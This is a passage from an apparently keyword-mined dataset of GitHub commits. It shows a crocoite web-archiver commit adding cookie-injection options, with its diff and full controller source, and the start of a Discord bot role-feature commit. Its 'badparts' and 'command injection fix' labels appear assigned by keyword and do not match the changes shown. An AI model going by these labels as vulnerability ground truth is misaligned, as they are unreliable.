^^^^^^^^^^^\n \n-Under the hood crocoite starts one instance of :program:`crocoite-single` to fetch\n-each page. You can customize its options by appending a command template like\n-this:\n+.. program:: crocoite-single\n+\n+Under the hood :program:`crocoite` starts one instance of\n+:program:`crocoite-single` to fetch each page. You can customize its options by\n+appending a command template like this:\n \n .. code:: bash\n \n@@ -79,6 +83,70 @@ This reduces the global timeout to 5 seconds and ignores TLS errors. If an\n option is prefixed with an exclamation mark (``!``) it will not be expanded.\n This is useful for passing :option:`--warcinfo`, which expects JSON-encoded data.\n \n+Command line options\n+^^^^^^^^^^^^^^^^^^^^\n+\n+Below is a list of all command line arguments available:\n+\n+.. program:: crocoite\n+\n+crocoite\n+++++++++\n+\n+Front-end with recursion support and simple job management.\n+\n+.. option:: -j N, --concurrency N\n+\n+ Maximum number of concurrent fetch jobs.\n+\n+.. option:: -r POLICY, --recursion POLICY\n+\n+ Enables recursion based on POLICY, which can be a positive integer\n+ (recursion depth) or the string :kbd:`prefix`.\n+\n+.. option:: --tempdir DIR\n+\n+ Directory for temporary WARC files.\n+\n+.. program:: crocoite-single\n+\n+crocoite-single\n++++++++++++++++\n+\n+Back-end to fetch a single page.\n+\n+.. option:: -b SET-COOKIE, --cookie SET-COOKIE\n+\n+ Add cookie to browser\u2019s cookie jar. This option always *appends* cookies,\n+ replacing those provided by :option:`-c`.\n+\n+ .. versionadded:: 1.1\n+\n+.. option:: -c FILE, --cookie-jar FILE\n+\n+ Load cookies from FILE. :program:`crocoite` provides a default cookie file,\n+ which contains cookies to, for example, circumvent age restrictions. This\n+ option *replaces* that default file.\n+\n+ .. versionadded:: 1.1\n+\n+.. option:: --idle-timeout SEC\n+\n+ Time after which a page is considered \u201cidle\u201d.\n+\n+.. option:: -k, --insecure\n+\n+ Allow insecure connections, i.e. self-signed ore expired HTTPS certificates.\n+\n+.. option:: --timeout SEC\n+\n+ Global archiving timeout.\n+\n+\n+.. option:: --warcinfo JSON\n+\n+ Inject additional JSON-encoded information into the resulting WARC.\n+\n IRC bot\n ^^^^^^^\n \ndiff --git a/setup.cfg b/setup.cfg\nindex 32dfadf..ec7d730 100644\n--- a/setup.cfg\n+++ b/setup.cfg\n@@ -4,3 +4,5 @@ test=pytest\n addopts=--cov-report=html --cov-report=xml --cov=crocoite --cov-config=setup.cfg\n [coverage:run]\n branch=True\n+[build_sphinx]\n+builder=dirhtml\n", "files": {"/crocoite/controller.py": {"changes": [{"diff": "\n from .browser import SiteLoader, RequestResponsePair, PageIdle, FrameNavigated\n from .util import getFormattedViewportMetrics, getSoftwareInfo\n from .behavior import ExtractLinksEvent\n+from .devtools import toCookieParam\n \n class ControllerSettings:\n- __slots__ = ('idleTimeout', 'timeout', 'insecure')\n+ __slots__ = ('idleTimeout', 'timeout', 'insecure', 'cookies')\n \n- def __init__ (self, idleTimeout=2, timeout=10, insecure=False):\n+ def __init__ (self, idleTimeout=2, timeout=10, insecure=False, cookies=None):\n self.idleTimeout = idleTimeout\n self.timeout = timeout\n self.insecure = insecure\n+ self.cookies = cookies or []\n \n- def toDict (self):\n- return dict (\n- idleTimeout=self.idleTimeout,\n- timeout=self.timeout,\n- insecure=self.insecure,\n- )\n+ def __repr__ (self):\n+ return f''\n \n defaultSettings = ControllerSettings ()\n \n", "add": 6, "remove": 8, "filename": "/crocoite/controller.py", "badparts": [" __slots__ = ('idleTimeout', 'timeout', 'insecure')", " def __init__ (self, idleTimeout=2, timeout=10, insecure=False):", " def toDict (self):", " return dict (", " idleTimeout=self.idleTimeout,", " timeout=self.timeout,", " insecure=self.insecure,", " )"], "goodparts": ["from .devtools import toCookieParam", " __slots__ = ('idleTimeout', 'timeout', 'insecure', 'cookies')", " def __init__ (self, idleTimeout=2, timeout=10, insecure=False, cookies=None):", " self.cookies = cookies or []", " def __repr__ (self):", " return f''"]}], "source": "\n \"\"\" Controller classes, handling actions required for archival \"\"\" import time, tempfile, asyncio, json, os, shutil, signal from itertools import islice from datetime import datetime from operator import attrgetter from abc import ABC, abstractmethod from yarl import URL from. import behavior as cbehavior from.browser import SiteLoader, RequestResponsePair, PageIdle, FrameNavigated from.util import getFormattedViewportMetrics, getSoftwareInfo from.behavior import ExtractLinksEvent class ControllerSettings: __slots__=('idleTimeout', 'timeout', 'insecure') def __init__(self, idleTimeout=2, timeout=10, insecure=False): self.idleTimeout=idleTimeout self.timeout=timeout self.insecure=insecure def toDict(self): return dict( idleTimeout=self.idleTimeout, timeout=self.timeout, insecure=self.insecure, ) defaultSettings=ControllerSettings() class EventHandler(ABC): \"\"\" Abstract base class for event handler \"\"\" __slots__=() @abstractmethod async def push(self, item): raise NotImplementedError() class StatsHandler(EventHandler): __slots__=('stats',) def __init__(self): self.stats={'requests': 0, 'finished': 0, 'failed': 0, 'bytesRcv': 0} async def push(self, item): if isinstance(item, RequestResponsePair): self.stats['requests'] +=1 if not item.response: self.stats['failed'] +=1 else: self.stats['finished'] +=1 self.stats['bytesRcv'] +=item.response.bytesReceived class LogHandler(EventHandler): \"\"\" Handle items by logging information about them \"\"\" __slots__=('logger',) def __init__(self, logger): self.logger=logger.bind(context=type(self).__name__) async def push(self, item): if isinstance(item, ExtractLinksEvent): it=iter(item.links) limit=100 while True: limitlinks=list(islice(it, 0, limit)) if not limitlinks: break self.logger.info('extracted links', context=type(item).__name__, uuid='8ee5e9c9-1130-4c5c-88ff-718508546e0c', links=limitlinks) class ControllerStart: __slots__=('payload',) def __init__(self, payload): self.payload=payload class IdleStateTracker(EventHandler): \"\"\" Track SiteLoader\u2019s idle state by listening to PageIdle events \"\"\" __slots__=('_idle', '_loop', '_idleSince') def __init__(self, loop): self._idle=True self._loop=loop self._idleSince=self._loop.time() async def push(self, item): if isinstance(item, PageIdle): self._idle=bool(item) if self._idle: self._idleSince=self._loop.time() async def wait(self, timeout): \"\"\" Wait until page has been idle for at least timeout seconds. If the page has been idle before calling this function it may return immediately. \"\"\" assert timeout > 0 while True: if self._idle: now=self._loop.time() sleep=timeout-(now-self._idleSince) if sleep <=0: break else: sleep=timeout await asyncio.sleep(sleep) class InjectBehaviorOnload(EventHandler): \"\"\" Control behavior script injection based on frame navigation messages. When a page is reloaded(for whatever reason), the scripts need to be reinjected. \"\"\" __slots__=('controller', '_loaded') def __init__(self, controller): self.controller=controller self._loaded=False async def push(self, item): if isinstance(item, FrameNavigated): await self._runon('load') self._loaded=True async def stop(self): if self._loaded: await self._runon('stop') async def finish(self): if self._loaded: await self._runon('finish') async def _runon(self, method): controller=self.controller for b in controller._enabledBehavior: f=getattr(b, 'on' +method) async for item in f(): await controller.processItem(item) class SinglePageController: \"\"\" Archive a single page url. Dispatches between producer(site loader and behavior scripts) and consumer (stats, warc writer). \"\"\" __slots__=('url', 'service', 'behavior', 'settings', 'logger', 'handler', 'warcinfo', '_enabledBehavior') def __init__(self, url, logger, \\ service, behavior=cbehavior.available, \\ settings=defaultSettings, handler=None, \\ warcinfo=None): self.url=url self.service=service self.behavior=behavior self.settings=settings self.logger=logger.bind(context=type(self).__name__, url=url) self.handler=handler or[] self.warcinfo=warcinfo async def processItem(self, item): for h in self.handler: await h.push(item) async def run(self): logger=self.logger async def processQueue(): async for item in l: await self.processItem(item) idle=IdleStateTracker(asyncio.get_event_loop()) self.handler.append(idle) behavior=InjectBehaviorOnload(self) self.handler.append(behavior) async with self.service as browser, SiteLoader(browser, logger=logger) as l: handle=asyncio.ensure_future(processQueue()) timeoutProc=asyncio.ensure_future(asyncio.sleep(self.settings.timeout)) tab=l.tab await tab.Security.setIgnoreCertificateErrors(ignore=self.settings.insecure) self._enabledBehavior=list(filter(lambda x: self.url in x, map(lambda x: x(l, logger), self.behavior))) version=await tab.Browser.getVersion() payload={ 'software': getSoftwareInfo(), 'browser':{ 'product': version['product'], 'useragent': version['userAgent'], 'viewport': await getFormattedViewportMetrics(tab), }, 'tool': 'crocoite-single', 'parameters':{ 'url': self.url, 'idleTimeout': self.settings.idleTimeout, 'timeout': self.settings.timeout, 'behavior': list(map(attrgetter('name'), self._enabledBehavior)), 'insecure': self.settings.insecure, }, } if self.warcinfo: payload['extra']=self.warcinfo await self.processItem(ControllerStart(payload)) await l.navigate(self.url) idleProc=asyncio.ensure_future(idle.wait(self.settings.idleTimeout)) while True: try: finished, pending=await asyncio.wait([idleProc, timeoutProc, handle], return_when=asyncio.FIRST_COMPLETED) except asyncio.CancelledError: idleProc.cancel() timeoutProc.cancel() break if handle in finished: logger.error('fetch failed', uuid='43a0686a-a3a9-4214-9acd-43f6976f8ff3') idleProc.cancel() timeoutProc.cancel() handle.result() assert False elif timeoutProc in finished: logger.debug('global timeout', uuid='2f858adc-9448-4ace-94b4-7cd1484c0728') idleProc.cancel() timeoutProc.result() break elif idleProc in finished: logger.debug('idle timeout', uuid='90702590-94c4-44ef-9b37-02a16de444c3') idleProc.result() timeoutProc.cancel() break await behavior.stop() await tab.Page.stopLoading() await asyncio.sleep(1) await behavior.finish() try: await asyncio.wait_for(idle.wait(1), timeout=1) except(asyncio.TimeoutError, asyncio.CancelledError): pass if handle.done(): handle.result() else: handle.cancel() class SetEntry: \"\"\" A object, to be used with sets, that compares equality only on its primary property. \"\"\" def __init__(self, value, **props): self.value=value for k, v in props.items(): setattr(self, k, v) def __eq__(self, b): assert isinstance(b, SetEntry) return self.value==b.value def __hash__(self): return hash(self.value) def __repr__(self): return f'' class RecursionPolicy: \"\"\" Abstract recursion policy \"\"\" __slots__=() def __call__(self, urls): raise NotImplementedError class DepthLimit(RecursionPolicy): \"\"\" Limit recursion by depth. depth==0 means no recursion, depth==1 is the page and outgoing links \"\"\" __slots__=('maxdepth',) def __init__(self, maxdepth=0): self.maxdepth=maxdepth def __call__(self, urls): newurls=set() for u in urls: if u.depth <=self.maxdepth: newurls.add(u) return newurls def __repr__(self): return f'' class PrefixLimit(RecursionPolicy): \"\"\" Limit recursion by prefix i.e. prefix=http://example.com/foo ignored: http://example.com/bar http://offsite.example/foo accepted: http://example.com/foobar http://example.com/foo/bar \"\"\" __slots__=('prefix',) def __init__(self, prefix): self.prefix=prefix def __call__(self, urls): return set(filter(lambda u: str(u.value).startswith(str(self.prefix)), urls)) def hasTemplate(s): \"\"\" Return True if string s has string templates \"\"\" return '{' in s and '}' in s class RecursiveController: \"\"\" Simple recursive controller Visits links acording to policy \"\"\" __slots__=('url', 'output', 'command', 'logger', 'policy', 'have', 'pending', 'stats', 'tempdir', 'running', 'concurrency', 'copyLock') SCHEME_WHITELIST={'http', 'https'} def __init__(self, url, output, command, logger, tempdir=None, policy=DepthLimit(0), concurrency=1): self.url=url self.output=output self.command=command self.logger=logger.bind(context=type(self).__name__, seedurl=url) self.policy=policy self.tempdir=tempdir self.copyLock=None if hasTemplate(output) else asyncio.Lock() if self.copyLock and os.path.exists(self.output): raise ValueError('Output file exists') self.running=set() self.concurrency=concurrency self.stats={'requests': 0, 'finished': 0, 'failed': 0, 'bytesRcv': 0, 'crashed': 0, 'ignored': 0} async def fetch(self, entry, seqnum): \"\"\" Fetch a single URL using an external command command is usually crocoite-single \"\"\" assert isinstance(entry, SetEntry) url=entry.value depth=entry.depth logger=self.logger.bind(url=url) def formatCommand(e): if e.startswith('!'): return e[1:] else: return e.format(url=url, dest=dest.name) def formatOutput(p): return p.format(host=url.host, date=datetime.utcnow().isoformat(), seqnum=seqnum) def logStats(): logger.info('stats', uuid='24d92d16-770e-4088-b769-4020e127a7ff', **self.stats) if url.scheme not in self.SCHEME_WHITELIST: self.stats['ignored'] +=1 logStats() self.logger.warning('scheme not whitelisted', url=url, uuid='57e838de-4494-4316-ae98-cd3a2ebf541b') return dest=tempfile.NamedTemporaryFile(dir=self.tempdir, prefix=__package__, suffix='.warc.gz', delete=False) command=list(map(formatCommand, self.command)) logger.info('fetch', uuid='d1288fbe-8bae-42c8-af8c-f2fa8b41794f', command=command) try: process=await asyncio.create_subprocess_exec(*command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.DEVNULL, stdin=asyncio.subprocess.DEVNULL, start_new_session=True, limit=100*1024*1024) while True: data=await process.stdout.readline() if not data: break data=json.loads(data) uuid=data.get('uuid') if uuid=='8ee5e9c9-1130-4c5c-88ff-718508546e0c': links=set(self.policy(map(lambda x: SetEntry(URL(x).with_fragment(None), depth=depth+1), data.get('links',[])))) links.difference_update(self.have) self.pending.update(links) elif uuid=='24d92d16-770e-4088-b769-4020e127a7ff': for k in self.stats.keys(): self.stats[k] +=data.get(k, 0) logStats() except asyncio.CancelledError: process.send_signal(signal.SIGINT) except Exception as e: process.kill() raise e finally: code=await process.wait() if code==0: if self.copyLock is None: lastDestpath=None while True: destpath=formatOutput(self.output) assert destpath !=lastDestpath lastDestpath=destpath if not os.path.exists(destpath): os.makedirs(os.path.dirname(destpath), exist_ok=True) os.rename(dest.name, destpath) break else: async with self.copyLock: with open(dest.name, 'rb') as infd, \\ open(self.output, 'ab') as outfd: shutil.copyfileobj(infd, outfd) os.unlink(dest.name) else: self.stats['crashed'] +=1 logStats() async def run(self): def log(): self.logger.info('recursing', uuid='5b8498e4-868d-413c-a67e-004516b8452c', pending=len(self.pending), have=len(self.have)-len(self.running), running=len(self.running)) seqnum=1 try: self.have=set() self.pending=set([SetEntry(self.url, depth=0)]) while self.pending: u=self.pending.pop() self.have.add(u) t=asyncio.ensure_future(self.fetch(u, seqnum)) self.running.add(t) seqnum +=1 log() if len(self.running) >=self.concurrency or not self.pending: done, pending=await asyncio.wait(self.running, return_when=asyncio.FIRST_COMPLETED) self.running.difference_update(done) for r in done: r.result() except asyncio.CancelledError: self.logger.info('cancel', uuid='d58154c8-ec27-40f2-ab9e-e25c1b21cd88', pending=len(self.pending), have=len(self.have)-len(self.running), running=len(self.running)) finally: done=await asyncio.gather(*self.running, return_exceptions=True) for r in done: if isinstance(r, Exception): raise r self.running=set() log() ", "sourceWithComments": "# Copyright (c) 2017\u20132018 crocoite contributors\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"\nController classes, handling actions required for archival\n\"\"\"\n\nimport time, tempfile, asyncio, json, os, shutil, signal\nfrom itertools import islice\nfrom datetime import datetime\nfrom operator import attrgetter\nfrom abc import ABC, abstractmethod\nfrom yarl import URL\n\nfrom . import behavior as cbehavior\nfrom .browser import SiteLoader, RequestResponsePair, PageIdle, FrameNavigated\nfrom .util import getFormattedViewportMetrics, getSoftwareInfo\nfrom .behavior import ExtractLinksEvent\n\nclass ControllerSettings:\n __slots__ = ('idleTimeout', 'timeout', 'insecure')\n\n def __init__ (self, idleTimeout=2, timeout=10, insecure=False):\n self.idleTimeout = idleTimeout\n self.timeout = timeout\n self.insecure = insecure\n\n def toDict (self):\n return dict (\n idleTimeout=self.idleTimeout,\n timeout=self.timeout,\n insecure=self.insecure,\n )\n\ndefaultSettings = ControllerSettings ()\n\nclass EventHandler (ABC):\n \"\"\" Abstract base class for event handler \"\"\"\n\n __slots__ = ()\n\n @abstractmethod\n async def push (self, item):\n raise NotImplementedError ()\n\nclass StatsHandler (EventHandler):\n __slots__ = ('stats', )\n\n def __init__ (self):\n self.stats = {'requests': 0, 'finished': 0, 'failed': 0, 'bytesRcv': 0}\n\n async def push (self, item):\n if isinstance (item, RequestResponsePair):\n self.stats['requests'] += 1\n if not item.response:\n self.stats['failed'] += 1\n else:\n self.stats['finished'] += 1\n self.stats['bytesRcv'] += item.response.bytesReceived\n\nclass LogHandler (EventHandler):\n \"\"\" Handle items by logging information about them \"\"\"\n\n __slots__ = ('logger', )\n\n def __init__ (self, logger):\n self.logger = logger.bind (context=type (self).__name__)\n\n async def push (self, item):\n if isinstance (item, ExtractLinksEvent):\n # limit number of links per message, so json blob won\u2019t get too big\n it = iter (item.links)\n limit = 100\n while True:\n limitlinks = list (islice (it, 0, limit))\n if not limitlinks:\n break\n self.logger.info ('extracted links', context=type (item).__name__,\n uuid='8ee5e9c9-1130-4c5c-88ff-718508546e0c', links=limitlinks)\n\n\nclass ControllerStart:\n __slots__ = ('payload', )\n\n def __init__ (self, payload):\n self.payload = payload\n\nclass IdleStateTracker (EventHandler):\n \"\"\" Track SiteLoader\u2019s idle state by listening to PageIdle events \"\"\"\n\n __slots__ = ('_idle', '_loop', '_idleSince')\n\n def __init__ (self, loop):\n self._idle = True\n self._loop = loop\n\n self._idleSince = self._loop.time ()\n\n async def push (self, item):\n if isinstance (item, PageIdle):\n self._idle = bool (item)\n if self._idle:\n self._idleSince = self._loop.time ()\n\n async def wait (self, timeout):\n \"\"\" Wait until page has been idle for at least timeout seconds. If the\n page has been idle before calling this function it may return\n immediately. \"\"\"\n\n assert timeout > 0\n while True:\n if self._idle:\n now = self._loop.time ()\n sleep = timeout-(now-self._idleSince)\n if sleep <= 0:\n break\n else:\n # not idle, check again after timeout expires\n sleep = timeout\n await asyncio.sleep (sleep)\n\nclass InjectBehaviorOnload (EventHandler):\n \"\"\" Control behavior script injection based on frame navigation messages.\n When a page is reloaded (for whatever reason), the scripts need to be\n reinjected. \"\"\"\n\n __slots__ = ('controller', '_loaded')\n\n def __init__ (self, controller):\n self.controller = controller\n self._loaded = False\n\n async def push (self, item):\n if isinstance (item, FrameNavigated):\n await self._runon ('load')\n self._loaded = True\n\n async def stop (self):\n if self._loaded:\n await self._runon ('stop')\n\n async def finish (self):\n if self._loaded:\n await self._runon ('finish')\n\n async def _runon (self, method):\n controller = self.controller\n for b in controller._enabledBehavior:\n f = getattr (b, 'on' + method)\n async for item in f ():\n await controller.processItem (item)\n\nclass SinglePageController:\n \"\"\"\n Archive a single page url.\n\n Dispatches between producer (site loader and behavior scripts) and consumer\n (stats, warc writer).\n \"\"\"\n\n __slots__ = ('url', 'service', 'behavior', 'settings', 'logger', 'handler',\n 'warcinfo', '_enabledBehavior')\n\n def __init__ (self, url, logger, \\\n service, behavior=cbehavior.available, \\\n settings=defaultSettings, handler=None, \\\n warcinfo=None):\n self.url = url\n self.service = service\n self.behavior = behavior\n self.settings = settings\n self.logger = logger.bind (context=type (self).__name__, url=url)\n self.handler = handler or []\n self.warcinfo = warcinfo\n\n async def processItem (self, item):\n for h in self.handler:\n await h.push (item)\n\n async def run (self):\n logger = self.logger\n async def processQueue ():\n async for item in l:\n await self.processItem (item)\n\n idle = IdleStateTracker (asyncio.get_event_loop ())\n self.handler.append (idle)\n behavior = InjectBehaviorOnload (self)\n self.handler.append (behavior)\n\n async with self.service as browser, SiteLoader (browser, logger=logger) as l:\n handle = asyncio.ensure_future (processQueue ())\n timeoutProc = asyncio.ensure_future (asyncio.sleep (self.settings.timeout))\n\n # configure browser\n tab = l.tab\n await tab.Security.setIgnoreCertificateErrors (ignore=self.settings.insecure)\n\n # not all behavior scripts are allowed for every URL, filter them\n self._enabledBehavior = list (filter (lambda x: self.url in x,\n map (lambda x: x (l, logger), self.behavior)))\n\n version = await tab.Browser.getVersion ()\n payload = {\n 'software': getSoftwareInfo (),\n 'browser': {\n 'product': version['product'],\n 'useragent': version['userAgent'],\n 'viewport': await getFormattedViewportMetrics (tab),\n },\n 'tool': 'crocoite-single', # not the name of the cli utility\n 'parameters': {\n 'url': self.url,\n 'idleTimeout': self.settings.idleTimeout,\n 'timeout': self.settings.timeout,\n 'behavior': list (map (attrgetter('name'), self._enabledBehavior)),\n 'insecure': self.settings.insecure,\n },\n }\n if self.warcinfo:\n payload['extra'] = self.warcinfo\n await self.processItem (ControllerStart (payload))\n\n await l.navigate (self.url)\n\n idleProc = asyncio.ensure_future (idle.wait (self.settings.idleTimeout))\n while True:\n try:\n finished, pending = await asyncio.wait([idleProc, timeoutProc, handle],\n return_when=asyncio.FIRST_COMPLETED)\n except asyncio.CancelledError:\n idleProc.cancel ()\n timeoutProc.cancel ()\n break\n\n if handle in finished:\n # something went wrong while processing the data\n logger.error ('fetch failed',\n uuid='43a0686a-a3a9-4214-9acd-43f6976f8ff3')\n idleProc.cancel ()\n timeoutProc.cancel ()\n handle.result ()\n assert False # previous line should always raise Exception\n elif timeoutProc in finished:\n # global timeout\n logger.debug ('global timeout',\n uuid='2f858adc-9448-4ace-94b4-7cd1484c0728')\n idleProc.cancel ()\n timeoutProc.result ()\n break\n elif idleProc in finished:\n # idle timeout\n logger.debug ('idle timeout',\n uuid='90702590-94c4-44ef-9b37-02a16de444c3')\n idleProc.result ()\n timeoutProc.cancel ()\n break\n\n await behavior.stop ()\n await tab.Page.stopLoading ()\n await asyncio.sleep (1)\n await behavior.finish ()\n\n # wait until loads from behavior scripts are done and browser is\n # idle for at least 1 second\n try:\n await asyncio.wait_for (idle.wait (1), timeout=1)\n except (asyncio.TimeoutError, asyncio.CancelledError):\n pass\n\n if handle.done ():\n handle.result ()\n else:\n handle.cancel ()\n\nclass SetEntry:\n \"\"\" A object, to be used with sets, that compares equality only on its\n primary property. \"\"\"\n def __init__ (self, value, **props):\n self.value = value\n for k, v in props.items ():\n setattr (self, k, v)\n\n def __eq__ (self, b):\n assert isinstance (b, SetEntry)\n return self.value == b.value\n\n def __hash__ (self):\n return hash (self.value)\n\n def __repr__ (self):\n return f''\n\nclass RecursionPolicy:\n \"\"\" Abstract recursion policy \"\"\"\n\n __slots__ = ()\n\n def __call__ (self, urls):\n raise NotImplementedError\n\nclass DepthLimit (RecursionPolicy):\n \"\"\"\n Limit recursion by depth.\n \n depth==0 means no recursion, depth==1 is the page and outgoing links\n \"\"\"\n\n __slots__ = ('maxdepth', )\n\n def __init__ (self, maxdepth=0):\n self.maxdepth = maxdepth\n\n def __call__ (self, urls):\n newurls = set ()\n for u in urls:\n if u.depth <= self.maxdepth:\n newurls.add (u)\n return newurls\n\n def __repr__ (self):\n return f''\n\nclass PrefixLimit (RecursionPolicy):\n \"\"\"\n Limit recursion by prefix\n \n i.e. prefix=http://example.com/foo\n ignored: http://example.com/bar http://offsite.example/foo\n accepted: http://example.com/foobar http://example.com/foo/bar\n \"\"\"\n\n __slots__ = ('prefix', )\n\n def __init__ (self, prefix):\n self.prefix = prefix\n\n def __call__ (self, urls):\n return set (filter (lambda u: str(u.value).startswith (str (self.prefix)), urls))\n\ndef hasTemplate (s):\n \"\"\" Return True if string s has string templates \"\"\"\n return '{' in s and '}' in s\n\nclass RecursiveController:\n \"\"\"\n Simple recursive controller\n\n Visits links acording to policy\n \"\"\"\n\n __slots__ = ('url', 'output', 'command', 'logger', 'policy', 'have',\n 'pending', 'stats', 'tempdir', 'running', 'concurrency',\n 'copyLock')\n\n SCHEME_WHITELIST = {'http', 'https'}\n\n def __init__ (self, url, output, command, logger,\n tempdir=None, policy=DepthLimit (0), concurrency=1):\n self.url = url\n self.output = output\n self.command = command\n self.logger = logger.bind (context=type(self).__name__, seedurl=url)\n self.policy = policy\n self.tempdir = tempdir\n # A lock if only a single output file (no template) is requested\n self.copyLock = None if hasTemplate (output) else asyncio.Lock ()\n # some sanity checks. XXX move to argparse?\n if self.copyLock and os.path.exists (self.output):\n raise ValueError ('Output file exists')\n # tasks currently running\n self.running = set ()\n # max number of tasks running\n self.concurrency = concurrency\n # keep in sync with StatsHandler\n self.stats = {'requests': 0, 'finished': 0, 'failed': 0, 'bytesRcv': 0, 'crashed': 0, 'ignored': 0}\n\n async def fetch (self, entry, seqnum):\n \"\"\"\n Fetch a single URL using an external command\n\n command is usually crocoite-single\n \"\"\"\n\n assert isinstance (entry, SetEntry)\n\n url = entry.value\n depth = entry.depth\n logger = self.logger.bind (url=url)\n\n def formatCommand (e):\n # provide means to disable variable expansion\n if e.startswith ('!'):\n return e[1:]\n else:\n return e.format (url=url, dest=dest.name)\n\n def formatOutput (p):\n return p.format (host=url.host,\n date=datetime.utcnow ().isoformat (), seqnum=seqnum)\n\n def logStats ():\n logger.info ('stats', uuid='24d92d16-770e-4088-b769-4020e127a7ff', **self.stats)\n\n if url.scheme not in self.SCHEME_WHITELIST:\n self.stats['ignored'] += 1\n logStats ()\n self.logger.warning ('scheme not whitelisted', url=url,\n uuid='57e838de-4494-4316-ae98-cd3a2ebf541b')\n return\n\n dest = tempfile.NamedTemporaryFile (dir=self.tempdir,\n prefix=__package__, suffix='.warc.gz', delete=False)\n command = list (map (formatCommand, self.command))\n logger.info ('fetch', uuid='d1288fbe-8bae-42c8-af8c-f2fa8b41794f',\n command=command)\n try:\n process = await asyncio.create_subprocess_exec (*command,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.DEVNULL,\n stdin=asyncio.subprocess.DEVNULL,\n start_new_session=True, limit=100*1024*1024)\n while True:\n data = await process.stdout.readline ()\n if not data:\n break\n data = json.loads (data)\n uuid = data.get ('uuid')\n if uuid == '8ee5e9c9-1130-4c5c-88ff-718508546e0c':\n links = set (self.policy (map (lambda x: SetEntry (URL(x).with_fragment(None), depth=depth+1), data.get ('links', []))))\n links.difference_update (self.have)\n self.pending.update (links)\n elif uuid == '24d92d16-770e-4088-b769-4020e127a7ff':\n for k in self.stats.keys ():\n self.stats[k] += data.get (k, 0)\n logStats ()\n except asyncio.CancelledError:\n # graceful cancellation\n process.send_signal (signal.SIGINT)\n except Exception as e:\n process.kill ()\n raise e\n finally:\n code = await process.wait()\n if code == 0:\n if self.copyLock is None:\n # atomically move once finished\n lastDestpath = None\n while True:\n # XXX: must generate a new name every time, otherwise\n # this loop never terminates\n destpath = formatOutput (self.output)\n assert destpath != lastDestpath\n lastDestpath = destpath\n\n # python does not have rename(\u2026, \u2026, RENAME_NOREPLACE),\n # but this is safe nontheless, since we\u2019re\n # single-threaded\n if not os.path.exists (destpath):\n # create the directory, so templates like\n # /{host}/{date}/\u2026 are possible\n os.makedirs (os.path.dirname (destpath), exist_ok=True)\n os.rename (dest.name, destpath)\n break\n else:\n # atomically (in the context of this process) append to\n # existing file\n async with self.copyLock:\n with open (dest.name, 'rb') as infd, \\\n open (self.output, 'ab') as outfd:\n shutil.copyfileobj (infd, outfd)\n os.unlink (dest.name)\n else:\n self.stats['crashed'] += 1\n logStats ()\n\n async def run (self):\n def log ():\n # self.have includes running jobs\n self.logger.info ('recursing',\n uuid='5b8498e4-868d-413c-a67e-004516b8452c',\n pending=len (self.pending),\n have=len (self.have)-len(self.running),\n running=len (self.running))\n\n seqnum = 1\n try:\n self.have = set ()\n self.pending = set ([SetEntry (self.url, depth=0)])\n\n while self.pending:\n # since pending is a set this picks a random item, which is fine\n u = self.pending.pop ()\n self.have.add (u)\n t = asyncio.ensure_future (self.fetch (u, seqnum))\n self.running.add (t)\n seqnum += 1\n\n log ()\n\n if len (self.running) >= self.concurrency or not self.pending:\n done, pending = await asyncio.wait (self.running,\n return_when=asyncio.FIRST_COMPLETED)\n self.running.difference_update (done)\n # propagate exceptions\n for r in done:\n r.result ()\n except asyncio.CancelledError:\n self.logger.info ('cancel',\n uuid='d58154c8-ec27-40f2-ab9e-e25c1b21cd88',\n pending=len (self.pending),\n have=len (self.have)-len (self.running),\n running=len (self.running))\n finally:\n done = await asyncio.gather (*self.running,\n return_exceptions=True)\n # propagate exceptions\n for r in done:\n if isinstance (r, Exception):\n raise r\n self.running = set ()\n log ()\n\n"}}, "msg": "Cookie injection support\n\nAdd command-line options injecting individual cookies or cookie file\ninto Chrome. Provide default cookie file.\n\nThis changes the IRC bot\u2019s command splitting to shlex.split, which\nallows shell-like argument quoting.\n\nFixes #7."}}, "https://github.com/OmicronPersei/4th-ACR-Discord-Bot": {"5f93334d63e9203a3bf16ec09d045f33398ae0b0": {"url": "https://api.github.com/repos/OmicronPersei/4th-ACR-Discord-Bot/commits/5f93334d63e9203a3bf16ec09d045f33398ae0b0", "html_url": "https://github.com/OmicronPersei/4th-ACR-Discord-Bot/commit/5f93334d63e9203a3bf16ec09d045f33398ae0b0", "message": "Implements a self service member role feature.\n\nInitial commit of classes, etc.\n\nCreated a base class that will setup a callback for bot commands from the discord service.\n\nFirst test passes!\n\nExtracted out a mock message generator.\n\nRefactored out a common get_all_available_roles function\n\nCan now add roles if the user doesn't yet have it\n\nAdded test to ensure user can't add role when they already have it.\n\nAdded ability to remove a role.\n\nSetup dependency injection for the user_roles_service\n\nAdded unit test to check for case sensitivity.\n\nSome fixes after runtime testing.\n\nRefactored such that the returned list of roles to the user is in their original case.\n\nAdded ability to restrict to only a specific channel.\n\nRefactored one test.", "sha": "5f93334d63e9203a3bf16ec09d045f33398ae0b0", "keyword": "command injection fix", "diff": "diff --git a/bot.py b/bot.py\nindex d721b4a..d998ba7 100644\n--- a/bot.py\n+++ b/bot.py\n@@ -32,10 +32,8 @@ def setup_dependency_injection(config):\n if config[\"user_leave_notification\"][\"enabled\"]:\r\n services.user_leave_notification()\r\n \r\n- discord_service = services.discord_service()\r\n- discord_service.run(discord_token)\r\n-\r\n-\r\n+ if config[\"user_role_self_service\"][\"enabled\"]:\r\n+ services.user_roles_service()\r\n \r\n-\r\n- \n\\ No newline at end of file\n+ discord_service = 